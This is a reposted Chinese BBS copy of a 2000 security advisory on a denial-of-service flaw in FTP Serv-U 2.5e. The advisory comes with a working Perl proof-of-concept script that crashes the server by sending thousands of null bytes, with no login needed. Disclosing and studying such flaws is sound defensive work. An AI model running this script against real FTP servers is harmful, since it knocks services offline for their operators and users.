荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: bstone (Less time in bbs), 信区: Hacker
标 题: FTP Serv-U 2.5e DoS
发信站: BBS 荔园晨风站 (Sun Aug 6 19:37:33 2000), 站内信件
发信人: scz (小四), 信区: Security
标 题: FTP Serv-U 2.5e DoS
发信站: 武汉白云黄鹤站 (Sat Aug 5 11:43:23 2000), 站内信件
=================================================================
Blue Panda Vulnerability Announcement: FTP Serv-U 2.5e
04/08/2000 (dd/mm/yyyy)
bluepanda@dwarf.box.sk
http://bluepanda.box.sk/
=================================================================
Problem: Sending FTP Serv-U a string containing a large number of null
bytes
will cause it to stack fault. The system Serv-U is running on may
become
sluggish/unstable and eventually bluescreen. A valid user/pass
combination is
not required to take advantage of this vulnerability.
Vulnerable: FTP Serv-U 2.5e, possibly prior versions (untested).
Immune: FTP Serv-U 2.5f.
Vendor status: Notified. A fix has been released.
===================
Proof of concept:
===================
#!/usr/bin/perl
#
# FTP Serv-U 2.5e denial-of-service
# Blue Panda - bluepanda@dwarf.box.sk
# http://bluepanda.box.sk/
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ---------------------------------------------
#
# Crashes FTP Serv-U 2.5e by sending it a string of null bytes.
#
use IO::Socket;
$host = "ftp.host.com";
$port = "21";
print "Connecting to $host:$port...";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host,
PeerPort=>$port) || die "failed.\n";
print "done.\n";
$counter = 0;
$buf = "";
while ($counter < 5000) {
$buf .= "\x00";
$counter += 1;
}
print $socket "$buf\n";
sleep(4);
close($socket);
--
也许有一天,他再从海上蓬蓬的雨点中升起,
飞向西来,再形成一道江流,再冲倒两旁的石壁,
再来寻夹岸的桃花。然而,我不敢说来生,也不敢信来生......
※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 203.207.226.124]
------------------------------------------------------------------------
--------
分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇
--
※ 来源:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.28.106]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店